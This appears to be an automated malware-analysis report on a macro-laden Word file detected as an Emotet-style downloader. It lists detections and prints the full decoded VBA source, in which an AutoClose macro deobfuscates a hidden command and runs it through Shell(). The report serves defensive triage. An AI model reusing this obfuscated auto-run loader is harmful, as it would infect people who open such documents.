MALICIOUS
244
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family and its typical behavior.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2217 bytes |
SHA-256: 21168df4ab02cb2df840fe6b7e2b777841dd4bcaa652079bdb8e70e3060561d4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function svuotare(rastrello As Integer) As String
Dim rinforzo() As Variant
rinforzo = Array(":", "$", "t", "f", "y", "O", "c", "E", ",", "T", "g", "?", "-", "W", "s", "p", "a", "A", "n", "j", "v", ".", "\", "(", ";", "k", "w", "d", " ", "N", "=", "l", "D", "m", "/", "B", "+", ")", "P", "e", "'", "x", "K", "i", "r", "o", "S", "q", "h", "C", "b", "F")
Dim genotipo As Integer
For genotipo = LBound(rinforzo) To UBound(rinforzo)
If genotipo = rastrello Then
svuotare = rinforzo(genotipo)
End If
Next
End Function
Public Function tara(pacifico As String)
Shell pacifico, 0
End Function
Sub AutoClose()
Call Application.Run("tara", oltre("154526394414483931312812294507414302281207413906283504151614142812494533331618272823293926120550193906022846041402393321293902211339504931433918023721324526183145162751433139234048020215003434254445181614481939393916474703454418042106453334184318453402443939141921332703400828013918200017383832170917283628402205414221394139403724284602164402123844450639141428013918200017383832170917402205414221394139402428232939261205501939060228460414023933212939022113395049314339180237213245261831451627460244431810234048020215003434254445181614481939393916474703454418042106453334142115481511432730024439391419403724"))
End Sub
Function oltre(Optional bifido As String, Optional bifido2)
meditare = sudore(Trim(bifido))
For genotipo = 0 To Len(bifido)
Dim promessa As String
Dim modifica As Integer
If (genotipo + 1) <= UBound(meditare) Then
furgone = Join(Array(furgone, svuotare(Int(meditare(genotipo) + meditare(genotipo + 1)))), "")
genotipo = genotipo + 1
End If
Next
oltre = furgone
End Function
Function sudore(giallo As String, Optional scoprire As Integer) As Variant
sudore = Split(Left(StrConv(giallo, vbUnicode), Len(StrConv(giallo, vbUnicode)) - 1), vbNullChar)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: 63f453f2617d5eb664548ebe1f2ad4f16f9a531f229284e2e0072e51c7766560 |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.